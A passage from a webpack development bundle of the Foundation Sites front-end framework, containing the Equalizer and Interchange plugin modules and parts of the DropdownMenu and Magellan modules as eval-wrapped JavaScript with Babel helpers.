{boolean}\n   * @default false\n   */\n  disableHover: false,\n  /**\n   * Disallows hover on touch devices\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  disableHoverOnTouch: true,\n  /**\n   * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  autoclose: true,\n  /**\n   * Amount of time to delay opening a submenu on hover event.\n   * @option\n   * @type {number}\n   * @default 50\n   */\n  hoverDelay: 50,\n  /**\n   * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  clickOpen: false,\n  /**\n   * Amount of time to delay closing a submenu on a mouseleave event.\n   * @option\n   * @type {number}\n   * @default 500\n   */\n\n  closingTime: 500,\n  /**\n   * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n   * @option\n   * @type {string}\n   * @default 'auto'\n   */\n  alignment: 'auto',\n  /**\n   * Allow clicks on the body to close any open submenus.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  closeOnClick: true,\n  /**\n   * Allow clicks on leaf anchor links to close any open submenus.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  closeOnClickInside: true,\n  /**\n   * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n   * @option\n   * @type {string}\n   * @default 'vertical'\n   */\n  verticalClass: 'vertical',\n  /**\n   * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n   * @option\n   * @type {string}\n   * @default 'align-right'\n   */\n  rightClass: 'align-right',\n  /**\n   * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  forceFollow: true\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.dropdownMenu.js?")},"./js/foundation.equalizer.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Equalizer: function() { return /* binding */ Equalizer; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_imageLoader__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.imageLoader */ "./js/foundation.util.imageLoader.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Equalizer module.\n * @module foundation.equalizer\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.imageLoader if equalizer contains images\n */\nvar Equalizer = /*#__PURE__*/function (_Plugin) {\n  _inherits(Equalizer, _Plugin);\n  var _super = _createSuper(Equalizer);\n  function Equalizer() {\n    _classCallCheck(this, Equalizer);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Equalizer, [{\n    key: "_setup",\n    value:\n    /**\n     * Creates a new instance of Equalizer.\n     * @class\n     * @name Equalizer\n     * @fires Equalizer#init\n     * @param {Object} element - jQuery object to add the trigger to.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Equalizer.defaults, this.$element.data(), options);\n      this.className = \'Equalizer\'; // ie9 back compat\n\n      this._init();\n    }\n\n    /**\n     * Initializes the Equalizer plugin and calls functions to get equalizer functioning on load.\n     * @private\n     */\n  }, {\n    key: "_init",\n    value: function _init() {\n      var eqId = this.$element.attr(\'data-equalizer\') || \'\';\n      var $watched = this.$element.find("[data-equalizer-watch=\\"".concat(eqId, "\\"]"));\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery._init();\n      this.$watched = $watched.length ? $watched : this.$element.find(\'[data-equalizer-watch]\');\n      this.$element.attr(\'data-resize\', eqId || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, \'eq\'));\n      this.$element.attr(\'data-mutate\', eqId || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, \'eq\'));\n      this.hasNested = this.$element.find(\'[data-equalizer]\').length > 0;\n      this.isNested = this.$element.parentsUntil(document.body, \'[data-equalizer]\').length > 0;\n      this.isOn = false;\n      this._bindHandler = {\n        onResizeMeBound: this._onResizeMe.bind(this),\n        onPostEqualizedBound: this._onPostEqualized.bind(this)\n      };\n      var imgs = this.$element.find(\'img\');\n      var tooSmall;\n      if (this.options.equalizeOn) {\n        tooSmall = this._checkMQ();\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._checkMQ.bind(this));\n      } else {\n        this._events();\n      }\n      if (typeof tooSmall !== \'undefined\' && tooSmall === false || typeof tooSmall === \'undefined\') {\n        if (imgs.length) {\n          (0,_foundation_util_imageLoader__WEBPACK_IMPORTED_MODULE_2__.onImagesLoaded)(imgs, this._reflow.bind(this));\n        } else {\n          this._reflow();\n        }\n      }\n    }\n\n    /**\n     * Removes event listeners if the breakpoint is too small.\n     * @private\n     */\n  }, {\n    key: "_pauseEvents",\n    value: function _pauseEvents() {\n      this.isOn = false;
525\n      this.$element.off({\n        \'.zf.equalizer\': this._bindHandler.onPostEqualizedBound,\n        \'resizeme.zf.trigger\': this._bindHandler.onResizeMeBound,\n        \'mutateme.zf.trigger\': this._bindHandler.onResizeMeBound\n      });\n    }\n\n    /**\n     * function to handle $elements resizeme.zf.trigger, with bound this on _bindHandler.onResizeMeBound\n     * @private\n     */\n  }, {\n    key: "_onResizeMe",\n    value: function _onResizeMe() {\n      this._reflow();\n    }\n\n    /**\n     * function to handle $elements postequalized.zf.equalizer, with bound this on _bindHandler.onPostEqualizedBound\n     * @private\n     */\n  }, {\n    key: "_onPostEqualized",\n    value: function _onPostEqualized(e) {\n      if (e.target !== this.$element[0]) {\n        this._reflow();\n      }\n    }\n\n    /**\n     * Initializes events for Equalizer.\n     * @private\n     */\n  }, {\n    key: "_events",\n    value: function _events() {\n      this._pauseEvents();\n      if (this.hasNested) {\n        this.$element.on(\'postequalized.zf.equalizer\', this._bindHandler.onPostEqualizedBound);\n      } else {\n        this.$element.on(\'resizeme.zf.trigger\', this._bindHandler.onResizeMeBound);\n        this.$element.on(\'mutateme.zf.trigger\', this._bindHandler.onResizeMeBound);\n      }\n      this.isOn = true;\n    }\n\n    /**\n     * Checks the current breakpoint to the minimum required size.\n     * @private\n     */\n  }, {\n    key: "_checkMQ",\n    value: function _checkMQ() {\n      var tooSmall = !_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.is(this.options.equalizeOn);\n      if (tooSmall) {\n        if (this.isOn) {\n          this._pauseEvents();\n          this.$watched.css(\'height\', \'auto\');\n        }\n      } else {\n        if (!this.isOn) {\n          this._events();\n        }\n      }\n      return tooSmall;\n    }\n\n    /**\n     * A noop version for the plugin\n     * @private\n     */\n  }, {\n    key: "_killswitch",\n    value: function _killswitch() {\n      return;\n    }\n\n    /**\n     * Calls necessary functions to update Equalizer upon DOM change\n     * @private\n     */\n  }, {\n    key: "_reflow",\n    value: function _reflow() {\n      if (!this.options.equalizeOnStack) {\n        if (this._isStacked()) {\n          this.$watched.css(\'height\', \'auto\');\n          return false;\n        }\n      }\n      if (this.options.equalizeByRow) {\n        this.getHeightsByRow(this.applyHeightByRow.bind(this));\n      } else {\n        this.getHeights(this.applyHeight.bind(this));\n      }\n    }\n\n    /**\n     * Manually determines if the first 2 elements are *NOT* stacked.\n     * @private\n     */\n  }, {\n    key: "_isStacked",\n    value: function _isStacked() {\n      if (!this.$watched[0] || !this.$watched[1]) {\n        return true;\n      }\n      return this.$watched[0].getBoundingClientRect().top !== this.$watched[1].getBoundingClientRect().top;\n    }\n\n    /**\n     * Finds the outer heights of children contained within an Equalizer parent and returns them in an array\n     * @param {Function} cb - A non-optional callback to return the heights array to.\n     * @returns {Array} heights - An array of heights of children within Equalizer container\n     */\n  }, {\n    key: "getHeights",\n    value: function getHeights(cb) {\n      var heights = [];\n      for (var i = 0, len = this.$watched.length; i < len; i++) {\n        this.$watched[i].style.height = \'auto\';\n        heights.push(this.$watched[i].offsetHeight);\n      }\n      cb(heights);\n    }\n\n    /**\n     * Finds the outer heights of children contained within an Equalizer parent and returns them in an array\n     * @param {Function} cb - A non-optional callback to return the heights array to.\n     * @returns {Array} groups - An array of heights of children within Equalizer container grouped by row with element,height and max as last child\n     */\n  }, {\n    key: "getHeightsByRow",\n    value: function getHeightsByRow(cb) {\n      var lastElTopOffset = this.$watched.length ? this.$watched.first().offset().top : 0,\n        groups = [],\n        group = 0;\n      //group by Row\n      groups[group] = [];\n      for (var i = 0, len = this.$watched.length; i < len;
525 i++) {\n        this.$watched[i].style.height = \'auto\';\n        //maybe could use this.$watched[i].offsetTop\n        var elOffsetTop = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.$watched[i]).offset().top;\n        if (elOffsetTop !== lastElTopOffset) {\n          group++;\n          groups[group] = [];\n          lastElTopOffset = elOffsetTop;\n        }\n        groups[group].push([this.$watched[i], this.$watched[i].offsetHeight]);\n      }\n      for (var j = 0, ln = groups.length; j < ln; j++) {\n        var heights = jquery__WEBPACK_IMPORTED_MODULE_0___default()(groups[j]).map(function () {\n          return this[1];\n        }).get();\n        var max = Math.max.apply(null, heights);\n        groups[j].push(max);\n      }\n      cb(groups);\n    }\n\n    /**\n     * Changes the CSS height property of each child in an Equalizer parent to match the tallest\n     * @param {array} heights - An array of heights of children within Equalizer container\n     * @fires Equalizer#preequalized\n     * @fires Equalizer#postequalized\n     */\n  }, {\n    key: "applyHeight",\n    value: function applyHeight(heights) {\n      var max = Math.max.apply(null, heights);\n      /**\n       * Fires before the heights are applied\n       * @event Equalizer#preequalized\n       */\n      this.$element.trigger(\'preequalized.zf.equalizer\');\n      this.$watched.css(\'height\', max);\n\n      /**\n       * Fires when the heights have been applied\n       * @event Equalizer#postequalized\n       */\n      this.$element.trigger(\'postequalized.zf.equalizer\');\n    }\n\n    /**\n     * Changes the CSS height property of each child in an Equalizer parent to match the tallest by row\n     * @param {array} groups - An array of heights of children within Equalizer container grouped by row with element,height and max as last child\n     * @fires Equalizer#preequalized\n     * @fires Equalizer#preequalizedrow\n     * @fires Equalizer#postequalizedrow\n     * @fires Equalizer#postequalized\n     */\n  }, {\n    key: "applyHeightByRow",\n    value: function applyHeightByRow(groups) {\n      /**\n       * Fires before the heights are applied\n       */\n      this.$element.trigger(\'preequalized.zf.equalizer\');\n      for (var i = 0, len = groups.length; i < len; i++) {\n        var groupsILength = groups[i].length,\n          max = groups[i][groupsILength - 1];\n        if (groupsILength <= 2) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(groups[i][0][0]).css({\n            \'height\': \'auto\'\n          });\n          continue;\n        }\n        /**\n          * Fires before the heights per row are applied\n          * @event Equalizer#preequalizedrow\n          */\n        this.$element.trigger(\'preequalizedrow.zf.equalizer\');\n        for (var j = 0, lenJ = groupsILength - 1; j < lenJ; j++) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(groups[i][j][0]).css({\n            \'height\': max\n          });\n        }\n        /**\n          * Fires when the heights per row have been applied\n          * @event Equalizer#postequalizedrow\n          */\n        this.$element.trigger(\'postequalizedrow.zf.equalizer\');\n      }\n      /**\n       * Fires when the heights have been applied\n       */\n      this.$element.trigger(\'postequalized.zf.equalizer\');\n    }\n\n    /**\n     * Destroys an instance of Equalizer.\n     * @function\n     */\n  }, {\n    key: "_destroy",\n    value: function _destroy() {\n      this._pauseEvents();\n      this.$watched.css(\'height\', \'auto\');\n    }\n  }]);\n  return Equalizer;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__.Plugin);\n/**\n * Default settings for plugin\n */\nEqualizer.defaults = {\n  /**\n   * Enable height equalization when stacked on smaller screens.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  equalizeOnStack: false,\n  /**\n   * Enable height equalization row by row.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  equalizeByRow: false,\n  /**\n   * String representing the minimum breakpoint size the plugin should equalize heights on.\n   * @option\n   * @type {string}\n   * @default \'\'\n   */\n  equalizeOn: \'\'\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.equalizer.js?')},"./js/foundation.interchange.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Interchange: function() { return /* binding */ Interchange; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Interchange module.\n * @module foundation.interchange\n * @requires foundation.util.mediaQuery\n */\nvar Interchange = /*#__PURE__*/function (_Plugin) {\n  _inherits(Interchange, _Plugin);\n  var _super = _createSuper(Interchange);\n  function Interchange() {\n    _classCallCheck(this, Interchange);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Interchange, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of Interchange.\n     * @class\n     * @name Interchange\n     * @fires Interchange#init\n     * @param {Object} element - jQuery object to add the trigger to.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Interchange.defaults, this.$element.data(), options);\n      this.rules = [];\n      this.currentPath = '';\n      this.className = 'Interchange'; // ie9 back compat\n\n      // Triggers init is idempotent, just need to make sure it is initialized\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n      this._events();\n    }\n\n    /**\n     * Initializes the Interchange plugin and calls functions to get interchange functioning on load.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery._init();\n      var id = this.$element[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, 'interchange');\n      this.$element.attr({\n        'data-resize': id,\n        'id': id\n      });\n      this._parseOptions();\n      this._addBreakpoints();\n      this._generateRules();\n      this._reflow();\n    }\n\n    /**\n     * Initializes events for Interchange.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this;\n      this.$element.off('resizeme.zf.trigger').on('resizeme.zf.trigger', function () {\n        return _this._reflow();\n      });\n    }\n\n    /**\n     * Calls necessary functions to update Interchange upon DOM change\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_reflow\",\n    value: function _reflow() {\n      var match;\n\n      // Iterate through each rule, but only save the last match\n      for (var i in this.rules) {\n        if (this.rules.hasOwnProperty(i)) {\n          var rule = this.rules[i];\n          if (window.matchMedia(rule.query).matches) {\n            match = rule;\n          }\n        }\n      }\n      if (match) {\n        this.replace(match.path);\n      }\n    }\n\n    /**\n     * Check options valifity and set defaults for:\n     * - `data-interchange-type`: if set, enforce the type of replacement (auto, src, background or html)\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_parseOptions\",\n    value: function _parseOptions() {\n      var types = ['auto', 'src', 'background', 'html'];\n      if (typeof this.options.type === 'undefined') this.options.type = 'auto';else if (types.indexOf(this.options.type) === -1) {\n        console.warn(\"Warning: invalid value \\\"\".concat(this.options.type, \"\\\" for Interchange option \\\"type\\\"\"));\n        this.options.type = 'auto';\n      }\n    }\n\n    /**\n     * Gets the Foundation breakpoints and adds them to the Interchange.SPECIAL_QUERIES object.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_addBreakpoints\",\n    value: function _addBreakpoints() {\n      for (var i in _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.queries) {\n        if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.queries.hasOwnProperty(i)) {\n          var query = _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.queries[i];\n          Interchange.SPECIAL_QUERIES[query.name] = query.value;\n        }\n      }\n    }\n\n    /**\n     * Checks the Interchange element for the provided media query + content pairings\n     * @function\n     * @private\n     * @returns {Array} scenarios - Array of objects that have 'mq' and 'path' keys with corresponding keys\n     */\n  }, {\n    key: \"_generateRules\",\n    value: function _generateRules() {\n      var rulesList = [];\n      var rules;\n      if (this.options.rules) {\n        rules = this.options.rules;\n      } else {\n        rules = this.$element.data('interchange');\n      }\n      rules = typeof rules === 'string' ? rules.match(/\\[.*?, .*?\\]/g) : rules;\n      for (var i in rules) {\n        if (rules.hasOwnProperty(i)) {\n          var rule = rules[i].slice(1, -1).split(', ');\n          var path = rule.slice(0, -1).join('');\n          var query = rule[rule.length - 1];\n          if (Interchange.SPECIAL_QUERIES[query]) {\n            query = Interchange.SPECIAL_QUERIES[query];\n          }\n          rulesList.push({\n            path: path,\n            query: query\n          });\n        }\n      }\n      this.rules = rulesList;\n    }\n\n    /**\n     * Update the `src` property of an image, or change the HTML of a container, to the specified path.\n     * @function\n     * @param {String} path - Path to the image or HTML partial.\n     * @fires Interchange#replaced\n     */\n  }, {\n    key: \"replace\",\n    value: function replace(path) {\n      var _this2 = this;\n      if (this.currentPath === path) return;\n      var trigger = 'replaced.zf.interchange';\n      var type = this.options.type;\n      if (type === 'auto') {\n        if (this.$element[0].nodeName === 'IMG') type = 'src';else if (path.match(/\\.(gif|jpe?g|png|svg|tiff)([?#].*)?/i)) type = 'background';
525else type = 'html';\n      }\n\n      // Replacing images\n      if (type === 'src') {\n        this.$element.attr('src', path).on('load', function () {\n          _this2.currentPath = path;\n        }).trigger(trigger);\n      }\n      // Replacing background images\n      else if (type === 'background') {\n        path = path.replace(/\\(/g, '%28').replace(/\\)/g, '%29');\n        this.$element.css({\n          'background-image': 'url(' + path + ')'\n        }).trigger(trigger);\n      }\n      // Replacing HTML\n      else if (type === 'html') {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default().get(path, function (response) {\n          _this2.$element.html(response).trigger(trigger);\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(response).foundation();\n          _this2.currentPath = path;\n        });\n      }\n\n      /**\n       * Fires when content in an Interchange element is done being loaded.\n       * @event Interchange#replaced\n       */\n      // this.$element.trigger('replaced.zf.interchange');\n    }\n\n    /**\n     * Destroys an instance of interchange.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.off('resizeme.zf.trigger');\n    }\n  }]);\n  return Interchange;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__.Plugin);\n/**\n * Default settings for plugin\n */\nInterchange.defaults = {\n  /**\n   * Rules to be applied to Interchange elements. Set with the `data-interchange` array notation.\n   * @option\n   * @type {?array}\n   * @default null\n   */\n  rules: null,\n  /**\n   * Type of the responsive ressource to replace. It can take the following options:\n   * - `auto` (default): choose the type according to the element tag or the ressource extension,\n   * - `src`: replace the `[src]` attribute, recommended for images `<img>`.\n   * - `background`: replace the `background-image` CSS property.\n   * - `html`: replace the element content.\n   * @option\n   * @type {string}\n   * @default 'auto'\n   */\n  type: 'auto'\n};\nInterchange.SPECIAL_QUERIES = {\n  'landscape': 'screen and (orientation: landscape)',\n  'portrait': 'screen and (orientation: portrait)',\n  'retina': 'only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min--moz-device-pixel-ratio: 2), only screen and (-o-min-device-pixel-ratio: 2/1), only screen and (min-device-pixel-ratio: 2), only screen and (min-resolution: 192dpi), only screen and (min-resolution: 2dppx)'\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.interchange.js?")},"./js/foundation.magellan.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Magellan: function() { return /* binding */ Magellan; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.smoothScroll */ "./js/foundation.smoothScroll.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
